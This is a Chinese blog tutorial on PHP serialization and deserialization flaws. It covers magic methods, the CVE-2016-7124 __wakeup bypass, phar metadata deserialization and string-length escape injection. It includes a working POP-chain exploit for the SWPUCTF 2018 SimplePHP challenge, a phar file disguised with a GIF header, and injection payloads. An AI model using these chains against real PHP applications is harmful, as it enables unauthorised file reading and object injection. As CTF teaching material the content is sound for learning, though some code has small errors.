PHP 序列化反序列化

sec

PHP 序列化与反序列化

序列化

serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

php序列化的字母标示及其含义

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL

常见类型的序列化

1
2
3
4
5
6
7
8
N;
b:<digit>;
i:<number>;
d:<number>;
s:<length>:"<value>";
a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}
O:<length>:"<class name>":<n>:{<field name 1><field value 1>
<field name 2><field value 2>...<field name n><field value n>}

例子:

1
2
3
4
5
6
7
8
9
10
11
<?php
class testClass{
public $v1;
public $v2=false;
public $v3=1;
public $v4="publicV4";
private $v5="privateV5";
protected $v6="protectedV6";
}
$s=serialize(new ye1s());
echo $s;

结果:

1
O:9:"testClass":6:{s:2:"v1";N;s:2:"v2";b:0;s:2:"v3";i:1;s:2:"v4";s:8:"publicV4";s:13:"%00testClass%00v5";s:9:"privateV5";s:5:"%00*%00v6";s:11:"protectedV6";}

Note:

Note

私有字段序列化时,字段名前会加上 \0className\0 , 其中 className 是所属类名,前后各加一个 0 字符,即 ascii 码为 0

保护字段,字段名前会加上 \0*\0

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__destruct()://析构函数当对象被销毁时会自动调用。 
__wakeup() ://unserialize()时会自动调用。
__invoke(): //当尝试以调用函数的方法调用一个对象时,会自动调
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__construct()://构造函数,当对象创建(new)时会自动调用但在unserialize()时是不会自动调用的。
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep().如果存在,该方法会被优先调用。

note

在 unserialize() 之后会执行 __wake() 方法,但是,如果,所给参数个数与实际参数个数不符,则不会执行 __wake()

当PHP5 < 5.6.25、PHP7 < 7.0.1时,成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

常见反序列化缺陷

session 反序列化

PHP session 简介)

phar 反序列化

phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起的严重的php对象注入漏洞。
phar文件结构

四部分构成

  • stub:phar文件标识,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

  • manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data。

  • contents:压缩文件的内容

  • signature:签名,在文件末尾

漏洞成因

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化。当内核调用phar_parse_metadata()解析metadata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
1414

利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

1515

生成文件

根据文件结构我们来自己构建一个 phar 文件,php内置了一个 Phar 类来处理相关操作

注意:要将 php.ini 中的 phar.readonly 选项设置为Off,否则无法生成 phar 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

1616

例题

[SWPUCTF 2018]SimplePHP

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class C1e4r
{
public $test;
public $str;

}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$test=new Test();
$show=new Show();
$c1e4r=new C1e4r();
$c1e4r->str=$show;
$show->str['str']=$test;
$test->params['source']='/var/www/html/f1ag.php';

$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($c1e4r); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传后

1
/file.php?file=phar://upload/19b39eddec74b32461a3673dea6b7871.jpg

反序列化字符逃匿

在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。

PHP 反序列化特性

  1. PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。

  2. 在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败

  3. 对类中不存在的属性也会进行反序列化

过滤后字符变多

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include 'flag.php';
function filter($string){
return str_replace('x','yy',$string);
}
$username = $_GET['u'];
$password = "aaa";
$user = array($username, $password);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[1]==='admin'){
echo $flag;
}
highlight_file(__FILE__);

?>

此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。

当传入u=admin,序列化为

1
2
a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}

反序列化后满足不了$a[1]==='admin'条件

当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";},此时替换序列化的结果为

1
2
a:2:a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。
1717

x个数的计算
首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):

1
n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度

解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了

过滤后字符变少

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'flag.php';
function filter($string){
return str_replace('sec','',$string);
}
$username = $_GET['u'];
$password = $_GET['p'];
$auth="guest";
$user = array($username, $password,$auth);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[2]==='admin'){
echo $flag;
}
highlight_file(__FILE__);

?>

要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”这12个字符反序列化后在第一个元素值中,使得后面逃匿。
最后payload

1
u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}

也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”这12个字符,还剩下3个,可以再输入三个字符填充。

1
u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin";}

1818

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/2bd63338-4008-42a6-b7b3-1f40418c22f4.html

Comments